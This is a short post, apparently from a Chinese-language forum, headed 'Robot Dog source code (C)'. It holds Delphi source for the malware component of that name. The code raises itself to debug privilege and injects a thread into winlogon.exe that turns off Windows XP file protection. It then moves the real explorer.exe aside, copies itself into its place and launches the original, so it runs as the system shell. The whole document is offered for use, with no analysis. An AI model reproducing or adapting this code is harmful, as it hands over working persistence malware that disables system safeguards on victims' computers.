機器狗源碼（C的）

替換explorer.exe             

 

{*******************************************************}
{ }
{ 關閉XP保護替換explorer.exe }
{ }
{ }
{*******************************************************}

program Project1;

uses
 Windows,TlHelp32;

function LowerCase(const S: string): string; //轉小寫
var
 Ch: Char;
 L: Integer;
 Source, Dest: PChar;
begin
 L := Length(S);
 SetLength(Result, L);
 Source := Pointer(S);
 Dest := Pointer(Result);
 while L <> 0 do
 begin
 Ch := Source^;
 if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
 Dest^ := Ch;
 Inc(Source);
 Inc(Dest);
 Dec(L);
 end;
end;

function CreatedMutexEx(MutexName: Pchar): Boolean;
var
 MutexHandle: dword;
begin
 MutexHandle := CreateMutex(nil, True, MutexName);
 if MutexHandle <> 0 then
 begin
 if GetLastError = ERROR_ALREADY_EXISTS then
 begin
 //CloseHandle(MutexHandle);
 Result := False;
 Exit;
 end;
 end;
 Result := True;
end;

function GetWinPath: string; //取WINDOWS目錄
var
 Buf: array[0..MAX_PATH] of char;
begin
 GetWindowsDirectory(Buf, MAX_PATH);
 Result := Buf;
 if Result[Length(Result)]<>'/' then Result := Result + '/';
end;

function GetTempDirectory: string; //取臨時目錄
var
 Buf: array[0..MAX_PATH] of char;
begin
 GetTempPath(MAX_PATH,Buf);
 Result := Buf;
 if Result[Length(Result)]<>'/' then Result := Result + '/';
end;

function EnableDebugPriv : Boolean; //提權爲DEBUG
var
 hToken : THANDLE;
 tp : TTokenPrivileges;
 rl : Cardinal;
begin
 result := false;
 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
 if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then
 begin
 tp.PrivilegeCount := 1;
 tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
 result := AdjustTokenPrivileges(hToken, False, tp, sizeof(tp), nil, rl);
 end;
end;

procedure InjectThread(ProcessHandle: DWORD); //注入winlogon.exe 關閉XP文件保護
var
 TID: LongWord;
 hSfc,hThread: HMODULE;
 pfnCloseEvents: Pointer;
begin
 hSfc := LoadLibrary('sfc_os.dll');
 pfnCloseEvents := GetProcAddress(hSfc,MAKEINTRESOURCE(2));
 FreeLibrary(hSfc);
 hThread := CreateRemoteThread(ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID);
 WaitForSingleObject(hThread, 4000);
end;

procedure InitProcess(Name: string); //查找winlogon.exe進程PID
var
 FSnapshotHandle: THandle;
 FProcessEntry32: TProcessEntry32;
 ProcessHandle:dword;
begin
 FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
 if Process32First(FSnapshotHandle,FProcessEntry32) then begin
repeat
 If Name = LowerCase(FProcessEntry32.szExeFile) then
 begin
 ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID);
 InjectThread(ProcessHandle);
 CloseHandle(ProcessHandle);
 Break;
 end;
 until not Process32Next(FSnapshotHandle,FProcessEntry32);
 end;
 CloseHandle(FSnapshotHandle);
end;

const ExpFile = 'explorer.exe';
 MasterMutex = 'OpenSoul';

var
 s: string;
begin
 if not CreatedMutexEx(MasterMutex) then ExitProcess(0); //互拆體
 if not EnableDebugPriv then Exit; //提權失敗退出
 InitProcess('winlogon.exe') ; //注入winlogon.exe 先關閉xp的文件保護 .預防系統的還原
 s := ParamStr(0) ; //取本名
 if LowerCase(s) <> LowerCase(GetWinPath + ExpFile) then //判斷自己是不是系統下的explorer.exe
 begin //如果不是
 MoveFileEx(PChar(GetWinPath + ExpFile),PChar(GetWinPath + 'system32/explorer.exe'),MOVEFILE_REPLACE_EXISTING); //先移動正在運行的explorer.exe
 CopyFile(PChar(S),PChar(GetWinPath+ ExpFile),false) ; //把自己複製到windows目錄 爲explorer.exe
 end;
 WinExec(PChar(GetWinPath + 'system32/explorer.exe'),1); //運行真正的explorer.exe
end.